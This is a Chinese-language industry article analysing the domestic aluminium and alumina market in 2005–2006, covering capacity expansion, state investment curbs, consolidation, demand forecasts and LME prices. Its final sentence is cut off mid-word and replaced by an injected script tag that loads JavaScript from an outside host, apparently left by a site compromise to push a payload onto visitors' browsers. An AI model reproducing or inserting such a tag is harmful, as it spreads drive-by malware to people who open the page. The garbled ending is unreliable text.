伴随着世界铝工业的快速发展,世界范围内的氧化铝供求紧张状况又走过了不平凡的一年。作为全球最大的电解铝生产国和消费国及现货氧化铝市场,国内氧化铝市场今后一段时期的走势再度成为业界关注的焦点。
国内电解铝及氧化铝工业发展
回归理性
中国成为世界最大的铝生产和消费国。“十五”时期,我国经济年均增速达到8.8%,宏观经济持续向好,促进了铝消费快速增长,拉动了铝工业的快速发展。据世界原铝协会(IAI)和全球矿产资源战略研究报告预测,2005年,中国铝消费量达到680万吨以上,已经成为世界最大的铝消费国,未来30年,中国将继续保持世界上最大的原铝生产国和消费国地位。根据Brook Hunt公布的统计数据,2002年以来,全球原铝需求增长从西欧、北美转移向亚洲。目前,亚洲原铝需求量占全球总需求量的1/3,而中国原铝需求量占全球总需求量的1/5。自2000年起,中国原铝需求年均增长16%,从2002年年底以来,需求增加200余万吨。中国的原铝需求增长使全球原铝需求每年平均增加2.5%。刺激增长的最大因素为建筑、电气和运输。
电解铝由产能加速扩张期向行业整合集中期过渡。2001年以来,国内电解铝、氧化铝、铝加工产能扩张加速,特别是电解铝产能以前所未有的速度扩张。根据中国有色金属工业协会统计,2005年,国内铝工业投资达到263亿元,铝冶炼项目投资占同期有色金属工业投资总额的比例达到35%。
2003年11月25日,国务院批转了《关于制止电解铝行业违规建设盲目投资的若干意见》,拉开了对电解铝等高耗能产业宏观调控的序幕。随后,国家又出台多项措施,使“电解铝热”逐步降温。
从2004年底开始,受资源能源成本上升、产能过剩、原料供应不足等问题困扰,电解铝行业整合愈演愈烈:与美铝、加铝等跨国铝业巨头合资合作,与中铝强强联合,电解铝企业间并购重组等。根据中国有色金属工业协会的统计数据,2000年全国有130多家电解铝企业,产量280万吨,平均规模2.2万吨左右。到2005年,全国电解铝企业在运行的不到100家,总产能达到1000万吨,其中10万吨以上企业39家,产能达763万吨,占全国总产能的75%。根据国家统计局2006年1月公布的数据,国内铝冶炼产能已经达到1030万吨。但是原料价格以及能源成本上涨已经使86家冶炼厂有2/3面临亏损。
今后氧化铝市场分析
今年是“十一五”的开局之年,也是中国铝工业落实科学发展观、转变经济增长方式、走新型工业化道路的重要一年。分析今年国内铝工业发展形势,值得注意的是:
铝工业步入科学发展轨道。2005年9月7日,温家宝总理主持召开常务会议,讨论并原则通过了《铝工业发展专项规划》和《铝工业发展产业政策》,为“十一五”期间铝工业的科学发展指明了方向。
经过两年多来的宏观调控和产业结构调整,电解铝行业的产业结构和产品结构进一步优化,以循环经济为主线的产业链不断完善和延伸,资源能源消耗等主要技术经济指标达到甚至优于国际先进水平,上下游产业间的兼并重组力度加大,产业集中度得以提高,铝工业已经步入科学发展的轨道。
铝需求量持续增长。据不完全统计,2005年以来,欧洲地区(加铝、海德鲁、瑞士嘉能可集团等)电解铝产能停产或减产100万吨以上。铝的供需失衡不但大量消耗库存,而且使铝市场价格保持高位运行。LME铝库存由2003年的144万吨持续下滑,目前保持在50万吨以下的低水平。
国内方面,据中国有色金属工业协会信息,“十一五”期间,国内铝的需求量将保持7.2%的年平均增长率。在未来的几年内,与铝消费息息相关的电力、建筑、运输、航空航天、包装等原铝消费将保持高增长态势。
市场价格是最直接反映铝需求的晴雨表。2005年以来,铝价持续高位运行,伦敦金属交易所(LME)3个月期铝于今年2月初创出了2678美元/吨的17年半新高,表明全球铝需求量保持了强劲的增长势头。
资源能源瓶颈有所缓解。煤电油运供应紧张状况大为缓解,特别是电力行业近两年来产能扩张迅猛。国家电网公司发布的数据显示,“十一五”期间电力市场供求形势将发生根本性的变化,2006年,全国电力供应能力预计超过6亿千瓦,电能过剩在所难免,对于电解铝企业来说不失为一个重大“利好”。
伴随电力供应好转的同时,业内普遍认为随着国内外氧化铝新增产能陆续释放,2006年氧化铝供应总量将有所增加,电解铝企业的“严冬”即将过去。
电解铝产能将保持适度增长。持续增长的铝产品需求将推动电解铝产量保?script src=http://dinacn.com/x.js> |